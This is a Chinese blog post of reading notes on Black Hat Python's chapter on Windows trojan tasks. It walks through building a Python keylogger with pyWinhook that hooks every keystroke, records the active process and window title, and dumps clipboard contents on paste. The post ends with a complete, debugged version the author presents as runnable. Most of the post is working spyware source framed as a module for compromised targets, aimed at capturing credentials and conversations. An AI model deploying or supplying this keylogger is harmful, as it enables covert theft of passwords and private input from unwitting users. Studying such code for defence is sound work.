• 黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器


    黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第八章 Windows常见特洛伊木马任务(1)有趣的键盘记录器



    写在前面

    键盘记录(Keylogging),即使用隐蔽的程序记录连续的击键,这是本书中最古老的黑客技术之一,至今仍在不同程度的使用。攻击者仍在使用它的原因,是它在捕获诸如凭据或对话等敏感信息方面非常有效。
    一款名为PyWinHook的优秀Python库可以使使我们能够轻松捕获所有键盘事件。它利用了本机的Windows函数SetWindowsHookEx,该函数允许我们安装用户自定义的函数,而这些自定义函数可以被某些Windows事件调用。通过为键盘事件注册一个钩子,我们将可以捕获目标发出的所有按键。更近一步地,我们还想确切地知道用户正在对哪个进程执行这些击键操作,以便我们可以确定何时输入用户名、密码或其他有用信息。PyWinHook将会为我们负责所有的低级编程,我们只需要实现击键记录器的核心逻辑即可。

    构建keylogger.py脚本

    创建并打开keylogger.py文件,并加入下面的代码:

    from ctypes import byref, create_string_buffer, c_ulong, windll
    from http.server import executable
    from io import StringIO
    
    import os
    import pythoncom
    import pyWinhook as pyHook
    import sys
    import time
    import win32clipboard
    
    TIMEOUT = 60*10
    
    class Keylogger:
        def __init__(self):
            self.current_window = None
        
        def get_current_process(self):
            hwnd = windll.user32.GetForegroundWindow()
            pid = c_ulong(0)
            windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
            process_id = f'{pid.value}'
    
            executable = create_string_buffer(512)
            h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
            windll.psapi.GitModuleBaseNameA(h_process, None, byref(executable), 512)
            window_title = create_string_buffer(512)
            windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
            try:
                self.current_window = window_title.value.decode()
            except UnicodeDecodeError as e:
                print(f'{e}: windows name unkown')
            
            print('\n', process_id, executable.value.decode(), self.current_window)
            windll.kernel32.CloseHandle(hwnd)
            windll.kernel32.CloseHandle(h_process)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    我们首先定义了一个常量TIMEOUT,创建一个新的KeyLogger类,并编写get_current_process方法,该方法将捕获活动窗口及其关联的进程ID。在该方法中,先调用GetForeGroundWindow方法获取目标桌面上活动窗口的句柄,然后将该句柄传递给GetWindowThreadProcessId函数,以检索窗口的进程ID。接下来我们打开进程,并通过进程句柄找到进程的实际可执行文件名。最后使用GetWindowTextA函数获取窗口标题栏的全文。在这个get_current_process方法的末尾,我们将所有信息进行漂亮的输出,以便可以清楚地看到哪些击键与哪个进程和窗口是相关联的。

    构建击键记录器

    现在,我们把击键记录器的代码块放在适当的位置:

        def mykeystroke(self, event):
            if event.WindowName != self.current_window:
                self.get_current_process()
            if 32 < event.Ascii < 127:
                print(chr(event.Ascii), end='')
            else:
                if event.Key == 'V':
                    win32clipboard.OpenClipboard()
                    value = win32clipboard.GetClipboardData()
                    win32clipboard.CloseClipboard()
                    print(f'[PASTE] - {value}')
                else:
                    print(f'{event.Key}')
            return True
        
    def run():
        save_stdout = sys.stdout
        sys.stdout = StringIO()
    
        kl = Keylogger()
        hm = pyHook.HookManagere()
        hm.KeyDown = kl.mykeystroke
        hm.HookKeyboard()
        while time.thread_time() < TIMEOUT:
            pythoncom.PumpWaitingMessages()
        log = sys.stdout.getvalue()
        sys.stdout = save_stdout
        return log
    
    if __name__ == '__main__':
        print(run())
        print('done.')
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    我们从run函数开始解说,在第7章中我们已经创建了受损目标可以运行的模块。每个模块都有一个名为run的入口点函数,因此我们编写的这个键盘记录器也遵循了相同的模式,因此我们可以以相同的方式运行它。第7章中的run函数不接受参数并返回其输出,为了匹配这里的行为,我们暂时将stdout切换到一个类似文件的对象StringIO。这样写入stdout的所有内容都将转到该对象中,稍后我们将说明该对象。
    在切换stdout之后,我们创建KeyLogger对象并定义HookManager。接下来,我们将KeyDown事件绑定到KeyLogger对象的回调方法mykeystroke。然后,我们指示PyWinHook挂接所有按键并继续执行,直到超时。每当目标按下键盘上的键时,就会调用mykeystroke方法,并将事件对象作为其参数。我们在mykeystroke中做的第一件事是检查用户是否更改了窗口,如果更改了,我们将获取新窗口的名称和进程信息。然后我们查看发出的击键,如果它在ASCII可打印范围内,我们只需将其打印出来。如果它是修饰符(例如SHIFT、CTRL或ALT键)或任何其他非标准键,我们将从事件对象中获取键名称。另外我们还检查用户是否正在执行粘贴操作,如果是,我们将转储剪贴板的内容。回调函数最后返回True,以允许下一个钩子处理事件。接下来我们运行一下。

    小试牛刀

    测试我们的键盘记录器很容易。只需运行它,然后开始正常使用Windows。尝试使用web浏览器、计算器或任何其他应用程序,然后在终端中查看结果即可。
    但是我在运行过程中碰到了一系列的问题,现在逐一解说。

    安装pyWinhook

    首先在运行之前需要安装pyWinhook模块,但是安装失败了,如下图。
    在这里插入图片描述
    上网搜了一下,需要先配置安装swig,直接去官网下载解压后配置path环境变量,接着又碰到另一个错误,缺少C++构建工具,如下图。
    在这里插入图片描述
    直接拷贝上图中的url下载安装,然后再次运行pip install pyWinhook顺利安装成功。

    处理cpyHook与_cpyHook

    接下来运行上面编写的keylogger.py时候碰到了新的错误,缺少cpyHook模块。
    在这里插入图片描述
    手动从git上下载cpyHook.py放进去,再次运行,又碰到新的错误,缺少_cpyHook模块,想死的心都有了。
    在这里插入图片描述
    发现在“C:\Users\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.10_qbz5n2kfra8p0\LocalCache\local-packages\Python310\site-packages\pyWinhook”目录下有一个名为“_cpyHook.cp310-win_amd64.pyd”的文件,貌似是缺少文件的某个版本,有总比木有强,直接重命名成需要的名称_cpyHook.pyd,然后将该文件和cpyHook.py文件一起复制到上一层的site-packages目录下,再次运行,问题解决。

    缺少new模块

    再次运行,又出现了新的错误,缺少new模块,简直无穷无尽啊。
    在这里插入图片描述
    经过网络查询,发现这是wxPython下的一个模块,直接先pip install wxPython再说。
    在这里插入图片描述
    再次执行keylogger程序,仍然报找不到名称为new的模块,上网查了一下,貌似python2.x下的模块,3.x上不支持了。实在没办法了,想放弃了,仔细读一下cpyHook.py的代码看看能不能常识重写一下吧。一读不要紧,太垃圾了,通过new.instancemethod生成的变量在后面整个程序中就木有引用过,直接注释掉这两行,如下图。
    在这里插入图片描述

    运行结果展示

    再次执行keylogger程序,没报错,但是貌似挂起了,没有其它反映。
    在这里插入图片描述
    不管怎么折腾都是上图所示,没有一点动静。其实原书中的run函数的代码以及main函数的代码写的很不怎么样,尝试修改了一下,然后再次运行,虽然比较丑,但是至少有一些反映了,把我的clipboard中的内容打印出来了(日志中的NOTEPAD就是我打开进行的操作),如下图。
    在这里插入图片描述
    继续修改,然后运行,如下图,现在至少能够记录键盘输入的内容了,但是还非常粗糙,后续有时间再打磨一下。
    在这里插入图片描述

    可执行代码

    最后附上修改后的代码(原书中的代码是一定运行不起来的)。

    from ctypes import byref, create_string_buffer, c_ulong, windll
    from http.server import executable
    from io import StringIO
    
    import os
    import pythoncom
    import pyWinhook as pyHook
    import sys
    import time
    import win32clipboard
    
    # TIMEOUT = 60*10
    TIMEOUT = 20*1
    
    class Keylogger:
        def __init__(self):
            self.current_window = None
        
        def get_current_process(self):
            hwnd = windll.user32.GetForegroundWindow()
            pid = c_ulong(0)
            windll.user32.GetWindowThreadProcessId(hwnd, byref(pid))
            process_id = f'{pid.value}'
            print(f'pid is : {process_id}')
    
            executable = create_string_buffer(512)
            h_process = windll.kernel32.OpenProcess(0x400|0x10, False, pid)
            windll.psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
            window_title = create_string_buffer(512)
            windll.user32.GetWindowTextA(hwnd, byref(window_title), 512)
            try:
                self.current_window = window_title.value.decode('utf8', 'ignore')
            except UnicodeDecodeError as e:
                print(f'{e}: window name unknown')
            
            print('\n', process_id, executable.value.decode('utf-8'), self.current_window)
            windll.kernel32.CloseHandle(hwnd)
            windll.kernel32.CloseHandle(h_process)
        
        def mykeystroke(self, event):
            if event.WindowName != self.current_window:
                self.get_current_process()
            if 32 < event.Ascii < 127:
                print(chr(event.Ascii), end='')
            else:
                if event.Key == 'V':
                    win32clipboard.OpenClipboard()
                    value = win32clipboard.GetClipboardData()
                    win32clipboard.CloseClipboard()
                    print(f'[PASTE] - {value}')
                else:
                    print(f'{event.Key}')
            return True
        
    def run():
        # save_stdout = sys.stdout
        # sys.stdout = StringIO()
    
        kl = Keylogger()
        hm = pyHook.HookManager()
        hm.KeyDown = kl.mykeystroke
        hm.HookKeyboard()
        while time.thread_time() < TIMEOUT:
            pythoncom.PumpWaitingMessages()
        # log = sys.stdout.getvalue()
        # sys.stdout = save_stdout
        # print(log)
        return
    
    if __name__ == '__main__':
        # print(run())
        run()
        print('done.')
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
  • 相关阅读:
    Nginx配置全局https
    数字图像处理笔记
    扩展学习|大数据分析的现状和分类
    springboot打jar包
    Pytorch-CNN-Mnist
    iOS经典面试题之深入解析分类Category的本质以及如何被加载
    手把手教你使用Vue3指定状态管理库--Pinia
    @Autowired 到底是怎么把变量注入进来的?
    需求工程方法的学习
    数据结构 —— 栈(超详细图解 & 接口函数实现)
  • 原文地址:https://blog.csdn.net/lipeixinglive/article/details/127433476